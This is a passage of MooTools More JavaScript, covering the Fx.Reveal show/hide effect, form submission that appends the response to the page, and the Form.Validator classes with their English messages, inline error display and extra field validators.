			if (this.element.getStyle('display') != 'none'){
				this.hiding = true;
				this.showing = false;
				this.hidden = true;
				this.cssText = this.element.style.cssText;

				var startStyles = this.element.getComputedSize({
					styles: this.options.styles,
					mode: this.options.mode
				});
				if (this.options.transitionOpacity) startStyles.opacity = this.options.opacity;

				var zero = {};
				Object.each(startStyles, function(style, name){
					zero[name] = [style, 0];
				});

				this.element.setStyles({
					display: Function.from(this.options.display).call(this),
					overflow: 'hidden'
				});

				var hideThese = hideTheseOf(this);
				if (hideThese) hideThese.setStyle('visibility', 'hidden');

				this.$chain.unshift(function(){
					if (this.hidden){
						this.hiding = false;
						this.element.style.cssText = this.cssText;
						this.element.setStyle('display', 'none');
						if (hideThese) hideThese.setStyle('visibility', 'visible');
					}
					this.fireEvent('hide', this.element);
					this.callChain();
				}.bind(this));

				this.start(zero);
			} else {
				this.callChain.delay(10, this);
				this.fireEvent('complete', this.element);
				this.fireEvent('hide', this.element);
			}
		} else if (this.options.link == 'chain'){
			this.chain(this.dissolve.bind(this));
		} else if (this.options.link == 'cancel' && !this.hiding){
			this.cancel();
			this.dissolve();
		}
		return this;
	},

	reveal: function(){
		if (!this.showing && !this.hiding){
			if (this.element.getStyle('display') == 'none'){
				this.hiding = false;
				this.showing = true;
				this.hidden = false;
				this.cssText = this.element.style.cssText;

				var startStyles;
				this.element.measure(function(){
					startStyles = this.element.getComputedSize({
						styles: this.options.styles,
						mode: this.options.mode
					});
				}.bind(this));
				if (this.options.heightOverride != null) startStyles.height = this.options.heightOverride.toInt();
				if (this.options.widthOverride != null) startStyles.width = this.options.widthOverride.toInt();
				if (this.options.transitionOpacity){
					this.element.setStyle('opacity', 0);
					startStyles.opacity = this.options.opacity;
				}

				var zero = {
					height: 0,
					display: Function.from(this.options.display).call(this)
				};
				Object.each(startStyles, function(style, name){
					zero[name] = 0;
				});
				zero.overflow = 'hidden';

				this.element.setStyles(zero);

				var hideThese = hideTheseOf(this);
				if (hideThese) hideThese.setStyle('visibility', 'hidden');

				this.$chain.unshift(function(){
					this.element.style.cssText = this.cssText;
					this.element.setStyle('display', Function.from(this.options.display).call(this));
					if (!this.hidden) this.showing = false;
					if (hideThese) hideThese.setStyle('visibility', 'visible');
					this.callChain();
					this.fireEvent('show', this.element);
				}.bind(this));

				this.start(startStyles);
			} else {
				this.callChain();
				this.fireEvent('complete', this.element);
				this.fireEvent('show', this.element);
			}
		} else if (this.options.link == 'chain'){
			this.chain(this.reveal.bind(this));
		} else if (this.options.link == 'cancel' && !this.showing){
			this.cancel();
			this.reveal();
		}
		return this;
	},

	toggle: function(){
		if (this.element.getStyle('display') == 'none'){
			this.reveal();
		} else {
			this.dissolve();
		}
		return this;
	},

	cancel: function(){
		this.parent.apply(this, arguments);
		if (this.cssText != null) this.element.style.cssText = this.cssText;
		this.hiding = false;
		this.showing = false;
		return this;
	}

});

Element.Properties.reveal = {

	set: function(options){
		this.get('reveal').cancel().setOptions(options);
		return this;
	},

	get: function(){
		var reveal = this.retrieve('reveal');
		if (!reveal){
			reveal = new Fx.Reveal(this);
			this.store('reveal', reveal);
		}
		return reveal;
	}

};

Element.Properties.dissolve = Element.Properties.reveal;

Element.implement({

	reveal: function(options){
		this.get('reveal').setOptions(options).reveal();
		return this;
	},

	dissolve: function(options){
		this.get('reveal').setOptions(options).dissolve();
		return this;
	},

	nix: function(options){
		var params = Array.link(arguments, {destroy: Type.isBoolean, options: Type.isObject});
		this.get('reveal').setOptions(options).dissolve().chain(function(){
			this[params.destroy ? 'destroy' : 'dispose']();
		}.bind(this));
		return this;
	},

	wink: function(){
		var params = Array.link(arguments, {duration: Type.isNumber, options: Type.isObject});
		var reveal = this.get('reveal').setOptions(params.options);
		reveal.reveal().chain(function(){
			(function(){
				reveal.dissolve();
			}).delay(params.duration || 2000);
		});
	}

});

})();


/*
---

script: Form.Request.Append.js

name: Form.Request.Append

description: Handles the basic functionality of submitting a form and updating a dom element with the result. The result is appended to the DOM element instead of replacing its contents.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - /Form.Request
  - /Fx.Reveal
  - /Elements.from

provides: [Form.Request.Append]

...
*/

Form.Request.Append = new Class({

	Extends: Form.Request,

	options: {
		//onBeforeEffect: function(){},
		useReveal: true,
		revealOptions: {},
		inject: 'bottom'
	},

	makeRequest: function(){
		this.request = new Request.HTML(Object.merge({
				url: this.element.get('action'),
				method: this.element.get('method') || 'post',
				spinnerTarget: this.element
			}, this.options.requestOptions, {
				evalScripts: false
			})
		).addEvents({
			success: function(tree, elements, html, javascript){
				var container;
				var kids = Elements.from(html);
				if (kids.length == 1){
					container = kids[0];
				} else {
					 container = new Element('div', {
						styles: {
							display: 'none'
						}
					}).adopt(kids);
				}
				container.inject(this.target, this.options.inject);
				if (this.options.requestOptions.evalScripts) Browser.exec(javascript);
				this.fireEvent('beforeEffect', container);
				var finish = function(){
					this.fireEvent('success', [container, this.target, tree, elements, html, javascript]);
				}.bind(this);
				if (this.options.useReveal){
					container.set('reveal', this.options.revealOptions).get('reveal').chain(finish);
					container.reveal();
				} else {
					finish();
				}
			}.bind(this),
			failure: function(xhr){
				this.fireEvent('failure', xhr);
			}.bind(this)
		});
		this.attachReset();
	}

});


/*
---

name: Locale.en-US.Form.Validator

description: Form Validator messages for English.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - /Locale

provides: [Locale.en-US.Form.Validator]

...
*/

Locale.define('en-US', 'FormValidator', {

	required: 'This field is required.',
	length: 'Please enter {length} characters (you entered {elLength} characters)',
	minLength: 'Please enter at least {minLength} characters (you entered {length} characters).',
	maxLength: 'Please enter no more than {maxLength} characters (you entered {length} characters).',
	integer: 'Please enter an integer in this field. Numbers with decimals (e.g. 1.25) are not permitted.',
	numeric: 'Please enter only numeric values in this field (i.e. "1" or "1.1" or "-1" or "-1.1").',
	digits: 'Please use numbers and punctuation only in this field (for example, a phone number with dashes or dots is permitted).',
	alpha: 'Please use only letters (a-z) within this field. No spaces or other characters are allowed.',
	alphanum: 'Please use only letters (a-z) or numbers (0-9) in this field. No spaces or other characters are allowed.',
	dateSuchAs: 'Please enter a valid date such as {date}',
	dateInFormatMDY: 'Please enter a valid date such as MM/DD/YYYY (i.e. "12/31/1999")',
	email: 'Please enter a valid email address. For example "fred@domain.com".',
	url: 'Please enter a valid URL such as http://www.example.com.',
	currencyDollar: 'Please enter a valid $ amount. For example $100.00 .',
	oneRequired: 'Please enter something for at least one of these inputs.',
	errorPrefix: 'Error: ',
	warningPrefix: 'Warning: ',

	// Form.Validator.Extras
	noSpace: 'There can be no spaces in this input.',
	reqChkByNode: 'No items are selected.',
	requiredChk: 'This field is required.',
	reqChkByName: 'Please select a {label}.',
	match: 'This field needs to match the {matchName} field',
	startDate: 'the start date',
	endDate: 'the end date',
	currendDate: 'the current date',
	afterDate: 'The date should be the same or after {label}.',
	beforeDate: 'The date should be the same or before {label}.',
	startMonth: 'Please select a start month',
	sameMonth: 'These two dates must be in the same month - you must change one or the other.',
	creditcard: 'The credit card number entered is invalid. Please check the number and try again. {length} digits entered.'

});


/*
---

script: Form.Validator.js

name: Form.Validator

description: A css-class based form validation system.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Options
  - Core/Events
  - Core/Slick.Finder
  - Core/Element.Event
  - Core/Element.Style
  - Core/JSON
  - /Locale
  - /Class.Binds
  - /Date
  - /Element.Forms
  - /Locale.en-US.Form.Validator
  - /Element.Shortcuts

provides: [Form.Validator, InputValidator, FormValidator.BaseValidators]

...
*/
if (!window.Form) window.Form = {};

var InputValidator = this.InputValidator = new Class({

	Implements: [Options],

	options: {
		errorMsg: 'Validation failed.',
		test: Function.from(true)
	},

	initialize: function(className, options){
		this.setOptions(options);
		this.className = className;
	},

	test: function(field, props){
		field = document.id(field);
		return (field) ? this.options.test(field, props || this.getProps(field)) : false;
	},

	getError: function(field, props){
		field = document.id(field);
		var err = this.options.errorMsg;
		if (typeOf(err) == 'function') err = err(field, props || this.getProps(field));
		return err;
	},

	getProps: function(field){
		field = document.id(field);
		return (field) ? field.get('validatorProps') : {};
	}

});

Element.Properties.validators = {

	get: function(){
		return (this.get('data-validators') || this.className).clean().split(' ');
	}

};

Element.Properties.validatorProps = {

	set: function(props){
		return this.eliminate('$moo:validatorProps').store('$moo:validatorProps', props);
	},

	get: function(props){
		if (props) this.set(props);
		if (this.retrieve('$moo:validatorProps')) return this.retrieve('$moo:validatorProps');
		if (this.getProperty('data-validator-properties') || this.getProperty('validatorProps')){
			try {
				this.store('$moo:validatorProps', JSON.decode(this.getProperty('validatorProps') || this.getProperty('data-validator-properties')));
			}catch(e){
				return {};
			}
		} else {
			var vals = this.get('validators').filter(function(cls){
				return cls.test(':');
			});
			if (!vals.length){
				this.store('$moo:validatorProps', {});
			} else {
				props = {};
				vals.each(function(cls){
					var split = cls.split(':');
					if (split[1]){
						try {
							props[split[0]] = JSON.decode(split[1]);
						} catch(e){}
					}
				});
				this.store('$moo:validatorProps', props);
			}
		}
		return this.retrieve('$moo:validatorProps');
	}

};

Form.Validator = new Class({

	Implements: [Options, Events],

	Binds: ['onSubmit'],

	options: {/*
		onFormValidate: function(isValid, form, event){},
		onElementValidate: function(isValid, field, className, warn){},
		onElementPass: function(field){},
		onElementFail: function(field, validatorsFailed){}, */
		fieldSelectors: 'input, select, textarea',
		ignoreHidden: true,
		ignoreDisabled: true,
		useTitles: false,
		evaluateOnSubmit: true,
		evaluateFieldsOnBlur: true,
		evaluateFieldsOnChange: true,
		serial: true,
		stopOnFailure: true,
		warningPrefix: function(){
			return Form.Validator.getMsg('warningPrefix') || 'Warning: ';
		},
		errorPrefix: function(){
			return Form.Validator.getMsg('errorPrefix') || 'Error: ';
		}
	},

	initialize: function(form, options){
		this.setOptions(options);
		this.element = document.id(form);
		this.element.store('validator', this);
		this.warningPrefix = Function.from(this.options.warningPrefix)();
		this.errorPrefix = Function.from(this.options.errorPrefix)();
		if (this.options.evaluateOnSubmit) this.element.addEvent('submit', this.onSubmit);
		if (this.options.evaluateFieldsOnBlur || this.options.evaluateFieldsOnChange) this.watchFields(this.getFields());
	},

	toElement: function(){
		return this.element;
	},

	getFields: function(){
		return (this.fields = this.element.getElements(this.options.fieldSelectors));
	},

	watchFields: function(fields){
		fields.each(function(el){
			if (this.options.evaluateFieldsOnBlur)
				el.addEvent('blur', this.validationMonitor.pass([el, false], this));
			if (this.options.evaluateFieldsOnChange)
				el.addEvent('change', this.validationMonitor.pass([el, true], this));
		}, this);
	},

	validationMonitor: function(){
		clearTimeout(this.timer);
		this.timer = this.validateField.delay(50, this, arguments);
	},

	onSubmit: function(event){
		if (this.validate(event)) this.reset();
	},

	reset: function(){
		this.getFields().each(this.resetField, this);
		return this;
	},

	validate: function(event){
		var result = this.getFields().map(function(field){
			return this.validateField(field, true);
		}, this).every(function(v){
			return v;
		});
		this.fireEvent('formValidate', [result, this.element, event]);
		if (this.options.stopOnFailure && !result && event) event.preventDefault();
		return result;
	},

	validateField: function(field, force){
		if (this.paused) return true;
		field = document.id(field);
		var passed = !field.hasClass('validation-failed');
		var failed, warned;
		if (this.options.serial && !force){
			failed = this.element.getElement('.validation-failed');
			warned = this.element.getElement('.warning');
		}
		if (field && (!failed || force || field.hasClass('validation-failed') || (failed && !this.options.serial))){
			var validationTypes = field.get('validators');
			var validators = validationTypes.some(function(cn){
				return this.getValidator(cn);
			}, this);
			var validatorsFailed = [];
			validationTypes.each(function(className){
				if (className && !this.test(className, field)) validatorsFailed.include(className);
			}, this);
			passed = validatorsFailed.length === 0;
			if (validators && !this.hasValidator(field, 'warnOnly')){
				if (passed){
					field.addClass('validation-passed').removeClass('validation-failed');
					this.fireEvent('elementPass', [field]);
				} else {
					field.addClass('validation-failed').removeClass('validation-passed');
					this.fireEvent('elementFail', [field, validatorsFailed]);
				}
			}
			if (!warned){
				var warnings = validationTypes.some(function(cn){
					if (cn.test('^warn'))
						return this.getValidator(cn.replace(/^warn-/,''));
					else return null;
				}, this);
				field.removeClass('warning');
				var warnResult = validationTypes.map(function(cn){
					if (cn.test('^warn'))
						return this.test(cn.replace(/^warn-/,''), field, true);
					else return null;
				}, this);
			}
		}
		return passed;
	},

	test: function(className, field, warn){
		field = document.id(field);
		if ((this.options.ignoreHidden && !field.isVisible()) || (this.options.ignoreDisabled && field.get('disabled'))) return true;
		var validator = this.getValidator(className);
		if (warn != null) warn = false;
		if (this.hasValidator(field, 'warnOnly')) warn = true;
		var isValid = this.hasValidator(field, 'ignoreValidation') || (validator ? validator.test(field) : true);
		if (validator && field.isVisible()) this.fireEvent('elementValidate', [isValid, field, className, warn]);
		if (warn) return true;
		return isValid;
	},

	hasValidator: function(field, value){
		return field.get('validators').contains(value);
	},

	resetField: function(field){
		field = document.id(field);
		if (field){
			field.get('validators').each(function(className){
				if (className.test('^warn-')) className = className.replace(/^warn-/, '');
				field.removeClass('validation-failed');
				field.removeClass('warning');
				field.removeClass('validation-passed');
			}, this);
		}
		return this;
	},

	stop: function(){
		this.paused = true;
		return this;
	},

	start: function(){
		this.paused = false;
		return this;
	},

	ignoreField: function(field, warn){
		field = document.id(field);
		if (field){
			this.enforceField(field);
			if (warn) field.addClass('warnOnly');
			else field.addClass('ignoreValidation');
		}
		return this;
	},

	enforceField: function(field){
		field = document.id(field);
		if (field) field.removeClass('warnOnly').removeClass('ignoreValidation');
		return this;
	}

});

Form.Validator.getMsg = function(key){
	return Locale.get('FormValidator.' + key);
};

Form.Validator.adders = {

	validators:{},

	add : function(className, options){
		this.validators[className] = new InputValidator(className, options);
		//if this is a class (this method is used by instances of Form.Validator and the Form.Validator namespace)
		//extend these validators into it
		//this allows validators to be global and/or per instance
		if (!this.initialize){
			this.implement({
				validators: this.validators
			});
		}
	},

	addAllThese : function(validators){
		Array.from(validators).each(function(validator){
			this.add(validator[0], validator[1]);
		}, this);
	},

	getValidator: function(className){
		return this.validators[className.split(':')[0]];
	}

};

Object.append(Form.Validator, Form.Validator.adders);

Form.Validator.implement(Form.Validator.adders);

Form.Validator.add('IsEmpty', {

	errorMsg: false,
	test: function(element){
		if (element.type == 'select-one' || element.type == 'select')
			return !(element.selectedIndex >= 0 && element.options[element.selectedIndex].value != '');
		else
			return ((element.get('value') == null) || (element.get('value').length == 0));
	}

});

Form.Validator.addAllThese([

	['required', {
		errorMsg: function(){
			return Form.Validator.getMsg('required');
		},
		test: function(element){
			return !Form.Validator.getValidator('IsEmpty').test(element);
		}
	}],

	['length', {
		errorMsg: function(element, props){
			if (typeOf(props.length) != 'null')
				return Form.Validator.getMsg('length').substitute({length: props.length, elLength: element.get('value').length});
			else return '';
		},
		test: function(element, props){
			if (typeOf(props.length) != 'null') return (element.get('value').length == props.length || element.get('value').length == 0);
			else return true;
		}
	}],	

	['minLength', {
		errorMsg: function(element, props){
			if (typeOf(props.minLength) != 'null')
				return Form.Validator.getMsg('minLength').substitute({minLength: props.minLength, length: element.get('value').length});
			else return '';
		},
		test: function(element, props){
			if (typeOf(props.minLength) != 'null') return (element.get('value').length >= (props.minLength || 0));
			else return true;
		}
	}],

	['maxLength', {
		errorMsg: function(element, props){
			//props is {maxLength:10}
			if (typeOf(props.maxLength) != 'null')
				return Form.Validator.getMsg('maxLength').substitute({maxLength: props.maxLength, length: element.get('value').length});
			else return '';
		},
		test: function(element, props){
			return element.get('value').length <= (props.maxLength || 10000);
		}
	}],

	['validate-integer', {
		errorMsg: Form.Validator.getMsg.pass('integer'),
		test: function(element){
			return Form.Validator.getValidator('IsEmpty').test(element) || (/^(-?[1-9]\d*|0)$/).test(element.get('value'));
		}
	}],

	['validate-numeric', {
		errorMsg: Form.Validator.getMsg.pass('numeric'),
		test: function(element){
			return Form.Validator.getValidator('IsEmpty').test(element) ||
				(/^-?(?:0$0(?=\d*\.)|[1-9]|0)\d*(\.\d+)?$/).test(element.get('value'));
		}
	}],

	['validate-digits', {
		errorMsg: Form.Validator.getMsg.pass('digits'),
		test: function(element){
			return Form.Validator.getValidator('IsEmpty').test(element) || (/^[\d() .:\-\+#]+$/.test(element.get('value')));
		}
	}],

	['validate-alpha', {
		errorMsg: Form.Validator.getMsg.pass('alpha'),
		test: function(element){
			return Form.Validator.getValidator('IsEmpty').test(element) || (/^[a-zA-Z]+$/).test(element.get('value'));
		}
	}],

	['validate-alphanum', {
		errorMsg: Form.Validator.getMsg.pass('alphanum'),
		test: function(element){
			return Form.Validator.getValidator('IsEmpty').test(element) || !(/\W/).test(element.get('value'));
		}
	}],

	['validate-date', {
		errorMsg: function(element, props){
			if (Date.parse){
				var format = props.dateFormat || '%x';
				return Form.Validator.getMsg('dateSuchAs').substitute({date: new Date().format(format)});
			} else {
				return Form.Validator.getMsg('dateInFormatMDY');
			}
		},
		test: function(element, props){
			if (Form.Validator.getValidator('IsEmpty').test(element)) return true;
			var dateLocale = Locale.getCurrent().sets.Date,
				dateNouns = new RegExp([dateLocale.days, dateLocale.days_abbr, dateLocale.months, dateLocale.months_abbr].flatten().join('|'), 'i'),
				value = element.get('value'),
				wordsInValue = value.match(/[a-z]+/gi);

				if (wordsInValue && !wordsInValue.every(dateNouns.exec, dateNouns)) return false;

				var date = Date.parse(value),
					format = props.dateFormat || '%x',
					formatted = date.format(format);

				if (formatted != 'invalid date') element.set('value', formatted);
				return date.isValid();
		}
	}],

	['validate-email', {
		errorMsg: Form.Validator.getMsg.pass('email'),
		test: function(element){
			/*
			var chars = "[a-z0-9!#$%&'*+/=?^_`{|}~-]",
				local = '(?:' + chars + '\\.?){0,63}' + chars,

				label = '[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?',
				hostname = '(?:' + label + '\\.)*' + label;

				octet = '(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)',
				ipv4 = '\\[(?:' + octet + '\\.){3}' + octet + '\\]',

				domain = '(?:' + hostname + '|' + ipv4 + ')';

			var regex = new RegExp('^' + local + '@' + domain + '$', 'i');
			*/
			return Form.Validator.getValidator('IsEmpty').test(element) || (/^(?:[a-z0-9!#$%&'*+\/=?^_`{|}~-]\.?){0,63}[a-z0-9!#$%&'*+\/=?^_`{|}~-]@(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\])$/i).test(element.get('value'));
		}
	}],

	['validate-url', {
		errorMsg: Form.Validator.getMsg.pass('url'),
		test: function(element){
			return Form.Validator.getValidator('IsEmpty').test(element) || (/^(https?|ftp|rmtp|mms):\/\/(([A-Z0-9][A-Z0-9_-]*)(\.[A-Z0-9][A-Z0-9_-]*)+)(:(\d+))?\/?/i).test(element.get('value'));
		}
	}],

	['validate-currency-dollar', {
		errorMsg: Form.Validator.getMsg.pass('currencyDollar'),
		test: function(element){
			return Form.Validator.getValidator('IsEmpty').test(element) || (/^\$?\-?([1-9]{1}[0-9]{0,2}(\,[0-9]{3})*(\.[0-9]{0,2})?|[1-9]{1}\d*(\.[0-9]{0,2})?|0(\.[0-9]{0,2})?|(\.[0-9]{1,2})?)$/).test(element.get('value'));
		}
	}],

	['validate-one-required', {
		errorMsg: Form.Validator.getMsg.pass('oneRequired'),
		test: function(element, props){
			var p = document.id(props['validate-one-required']) || element.getParent(props['validate-one-required']);
			return p.getElements('input').some(function(el){
				if (['checkbox', 'radio'].contains(el.get('type'))) return el.get('checked');
				return el.get('value');
			});
		}
	}]

]);

Element.Properties.validator = {

	set: function(options){
		this.get('validator').setOptions(options);
	},

	get: function(){
		var validator = this.retrieve('validator');
		if (!validator){
			validator = new Form.Validator(this);
			this.store('validator', validator);
		}
		return validator;
	}

};

Element.implement({

	validate: function(options){
		if (options) this.set('validator', options);
		return this.get('validator').validate();
	}

});







/*
---

script: Form.Validator.Inline.js

name: Form.Validator.Inline

description: Extends Form.Validator to add inline messages.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - /Form.Validator

provides: [Form.Validator.Inline]

...
*/

Form.Validator.Inline = new Class({

	Extends: Form.Validator,

	options: {
		showError: function(errorElement){
			if (errorElement.reveal) errorElement.reveal();
			else errorElement.setStyle('display', 'block');
		},
		hideError: function(errorElement){
			if (errorElement.dissolve) errorElement.dissolve();
			else errorElement.setStyle('display', 'none');
		},
		scrollToErrorsOnSubmit: true,
		scrollToErrorsOnBlur: false,
		scrollToErrorsOnChange: false,
		scrollFxOptions: {
			transition: 'quad:out',
			offset: {
				y: -20
			}
		}
	},

	initialize: function(form, options){
		this.parent(form, options);
		this.addEvent('onElementValidate', function(isValid, field, className, warn){
			var validator = this.getValidator(className);
			if (!isValid && validator.getError(field)){
				if (warn) field.addClass('warning');
				var advice = this.makeAdvice(className, field, validator.getError(field), warn);
				this.insertAdvice(advice, field);
				this.showAdvice(className, field);
			} else {
				this.hideAdvice(className, field);
			}
		});
	},

	makeAdvice: function(className, field, error, warn){
		var errorMsg = (warn) ? this.warningPrefix : this.errorPrefix;
			errorMsg += (this.options.useTitles) ? field.title || error:error;
		var cssClass = (warn) ? 'warning-advice' : 'validation-advice';
		var advice = this.getAdvice(className, field);
		if (advice){
			advice = advice.set('html', errorMsg);
		} else {
			advice = new Element('div', {
				html: errorMsg,
				styles: { display: 'none' },
				id: 'advice-' + className.split(':')[0] + '-' + this.getFieldId(field)
			}).addClass(cssClass);
		}
		field.store('$moo:advice-' + className, advice);
		return advice;
	},

	getFieldId : function(field){
		return field.id ? field.id : field.id = 'input_' + field.name;
	},

	showAdvice: function(className, field){
		var advice = this.getAdvice(className, field);
		if (
			advice &&
			!field.retrieve('$moo:' + this.getPropName(className)) &&
			(
				advice.getStyle('display') == 'none' ||
				advice.getStyle('visiblity') == 'hidden' ||
				advice.getStyle('opacity') == 0
			)
		){
			field.store('$moo:' + this.getPropName(className), true);
			this.options.showError(advice);
			this.fireEvent('showAdvice', [field, advice, className]);
		}
	},

	hideAdvice: function(className, field){
		var advice = this.getAdvice(className, field);
		if (advice && field.retrieve('$moo:' + this.getPropName(className))){
			field.store('$moo:' + this.getPropName(className), false);
			this.options.hideError(advice);
			this.fireEvent('hideAdvice', [field, advice, className]);
		}
	},

	getPropName: function(className){
		return 'advice' + className;
	},

	resetField: function(field){
		field = document.id(field);
		if (!field) return this;
		this.parent(field);
		field.get('validators').each(function(className){
			this.hideAdvice(className, field);
		}, this);
		return this;
	},

	getAllAdviceMessages: function(field, force){
		var advice = [];
		if (field.hasClass('ignoreValidation') && !force) return advice;
		var validators = field.get('validators').some(function(cn){
			var warner = cn.test('^warn-') || field.hasClass('warnOnly');
			if (warner) cn = cn.replace(/^warn-/, '');
			var validator = this.getValidator(cn);
			if (!validator) return;
			advice.push({
				message: validator.getError(field),
				warnOnly: warner,
				passed: validator.test(),
				validator: validator
			});
		}, this);
		return advice;
	},

	getAdvice: function(className, field){
		return field.retrieve('$moo:advice-' + className);
	},

	insertAdvice: function(advice, field){
		//Check for error position prop
		var props = field.get('validatorProps');
		//Build advice
		if (!props.msgPos || !document.id(props.msgPos)){
			if (field.type && field.type.toLowerCase() == 'radio') field.getParent().adopt(advice);
			else advice.inject(document.id(field), 'after');
		} else {
			document.id(props.msgPos).grab(advice);
		}
	},

	validateField: function(field, force, scroll){
		var result = this.parent(field, force);
		if (((this.options.scrollToErrorsOnSubmit && scroll == null) || scroll) && !result){
			var failed = document.id(this).getElement('.validation-failed');
			var par = document.id(this).getParent();
			while (par != document.body && par.getScrollSize().y == par.getSize().y){
				par = par.getParent();
			}
			var fx = par.retrieve('$moo:fvScroller');
			if (!fx && window.Fx && Fx.Scroll){
				fx = new Fx.Scroll(par, this.options.scrollFxOptions);
				par.store('$moo:fvScroller', fx);
			}
			if (failed){
				if (fx) fx.toElement(failed);
				else par.scrollTo(par.getScroll().x, failed.getPosition(par).y - 20);
			}
		}
		return result;
	},

	watchFields: function(fields){
		fields.each(function(el){
		if (this.options.evaluateFieldsOnBlur){
			el.addEvent('blur', this.validationMonitor.pass([el, false, this.options.scrollToErrorsOnBlur], this));
		}
		if (this.options.evaluateFieldsOnChange){
				el.addEvent('change', this.validationMonitor.pass([el, true, this.options.scrollToErrorsOnChange], this));
			}
		}, this);
	}

});


/*
---

script: Form.Validator.Extras.js

name: Form.Validator.Extras

description: Additional validators for the Form.Validator class.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - /Form.Validator

provides: [Form.Validator.Extras]

...
*/
Form.Validator.addAllThese([

	['validate-enforce-oncheck', {
		test: function(element, props){
			var fv = element.getParent('form').retrieve('validator');
			if (!fv) return true;
			(props.toEnforce || document.id(props.enforceChildrenOf).getElements('input, select, textarea')).map(function(item){
				if (element.checked){
					fv.enforceField(item);
				} else {
					fv.ignoreField(item);
					fv.resetField(item);
				}
			});
			return true;
		}
	}],

	['validate-ignore-oncheck', {
		test: function(element, props){
			var fv = element.getParent('form').retrieve('validator');
			if (!fv) return true;
			(props.toIgnore || document.id(props.ignoreChildrenOf).getElements('input, select, textarea')).each(function(item){
				if (element.checked){
					fv.ignoreField(item);
					fv.resetField(item);
				} else {
					fv.enforceField(item);
				}
			});
			return true;
		}
	}],

	['validate-nospace', {
		errorMsg: function(){
			return Form.Validator.getMsg('noSpace');
		},
		test: function(element, props){
			return !element.get('value').test(/\s/);
		}
	}],

	['validate-toggle-oncheck', {
		test: function(element, props){
			var fv = element.getParent('form').retrieve('validator');
			if (!fv) return true;
			var eleArr = props.toToggle || document.id(props.toToggleChildrenOf).getElements('input, select, textarea');
			if (!element.checked){
				eleArr.each(function(item){
					fv.ignoreField(item);
					fv.resetField(item);
				});
			} else {
				eleArr.each(function(item){
					fv.enforceField(item);
				});
			}
			return true;
		}
	}],

	['validate-reqchk-bynode', {
		errorMsg: function(){
			return Form.Validator.getMsg('reqChkByNode');
		},
		test: function(element, props){
			return (document.id(props.nodeId).getElements(props.selector || 'input[type=checkbox], input[type=radio]')).some(function(item){
				return item.checked;
			});
		}
	}],

	['validate-required-check', {
		errorMsg: function(element, props){
			return props.useTitle ? element.get('title') : Form.Validator.getMsg('requiredChk');
		},
		test: function(element, props){
			return !!element.checked;
		}
	}],

	['validate-reqchk-byname', {
		errorMsg: function(element, props){
			return Form.Validator.getMsg('reqChkByName').substitute({label: props.label || element.get('type')});
		},
		test: function(element, props){
			var grpName = props.groupName || element.get('name');
			var oneCheckedItem = $$(document.getElementsByName(grpName)).some(function(item, index){
				return item.checked;
			});
			var fv = element.getParent('form').retrieve('validator');
			if (oneCheckedItem && fv) fv.resetField(element);
			return oneCheckedItem;
		}
	}],

	['validate-match', {
		errorMsg: function(element, props){
			return Form.Validator.getMsg('match').substitute({matchName: props.matchName || document.id(props.matchInput).get('name')});
		},
		test: function(element, props){
			var eleVal = element.get('value');
			var matchVal = document.id(props.matchInput) && document.id(props.matchInput).get('value');
			return eleVal && matchVal ? eleVal == matchVal : true;
		}
	}],

	['validate-after-date', {
		errorMsg: function(element, props){
			return Form.Validator.getMsg('afterDate').substitute({
				label: props.afterLabel || (props.afterElement ? Form.Validator.getMsg('startDate') : Form.Validator.getMsg('currentDate'))
			});
		},
		test: function(element, props){
			var start = document.id(props.afterElement) ? Date.parse(document.id(props.afterElement).get('value')) : new Date();
			var end = Date.parse(element.get('value'));
			return end && start ? end >= start : true;
		}
	}],

	['validate-before-date', {
		errorMsg: function(element, props){
			return Form.Validator.getMsg('beforeDate').substitute({
				label: props.beforeLabel || (props.beforeElement ? Form.Validator.getMsg('endDate') : Form.Validator.getMsg('currentDate'))
			});
		},
		test: function(element, props){
			var start = Date.parse(element.get('value'));
			var end = document.id(props.beforeElement) ? Date.parse(document.id(props.beforeElement).get('value')) : new Date();
			return end && start ? end >= start : true;
		}
	}],

	['validate-custom-required', {
		errorMsg: function(){
			return Form.Validator.getMsg('required');
		},
		test: function(element, props){
			return element.get('value') != props.emptyValue;
		}
	}],

	['validate-same-month', {
		errorMsg: function(element, props){
			var startMo = document.id(props.sameMonthAs) && document.id(props.sameMonthAs).get('value');
			var eleVal = element.get('value');
			if (eleVal != '') return Form.Validator.getMsg(startMo ? 'sameMonth' : 'startMonth');
		},
		test: function(element, props){
			var d1 = Date.parse(element.get('value'));
			var d2 = Date.parse(document.id(props.sameMonthAs) && document.id(props.sameMonthAs).get('value'));
			return d1 && d2 ? d1.format('%B') == d2.format('%B') : true;
		}
	}],


	['validate-cc-num', {
		errorMsg: function(element){
			var ccNum = element.get('value').replace(/[^0-9]/g, '');
			return Form.Validator.getMsg('creditcard').substitute({length: ccNum.length});
		},
		test: function(element){
			// required is a different test
			if (Form.Validator.getValidator('IsEmpty').test(element)) return true;

			// Clean number value
			var ccNum = element.get('value');
			ccNum = ccNum.replace(/[^0-9]/g, '');

			var valid_type = false;

			if (ccNum.test(/^4[0-9]{12}([0-9]{3})?$/)) valid_type = 'Visa';
			else if (ccNum.test(/^5[1-5]([0-9]{14})$/)) valid_type = 'Master Card';
			else if (ccNum.test(/^3[47][0-9]{13}$/)) valid_type = 'American Express';
			else if (ccNum.test(/^6011[0-9]{12}$/)) valid_type = 'Discover';

			if (valid_type){
				var sum = 0;
				var cur = 0;

				for (var i=ccNum.length-1; i>=0; --i){
					cur = ccNum.charAt(i).toInt();
					if (cur == 0) continue;

					if ((ccNum.length-i) % 2 == 0) cur += cur;
					if (cur > 9){
						cur = cur.toString().charAt(0).toInt() + cur.toString().charAt(1).toInt();
					}

					sum += cur;
				}
				if ((sum % 10) == 0) return true;
			}

			var chunks = '';
			while (ccNum != ''){
				chunks += ' ' + ccNum.substr(0,4);
				ccNum = ccNum.substr(4);
			}

			element.getParent('form').retrieve('validator').ignoreField(element);
			element.set('value', chunks.clean());
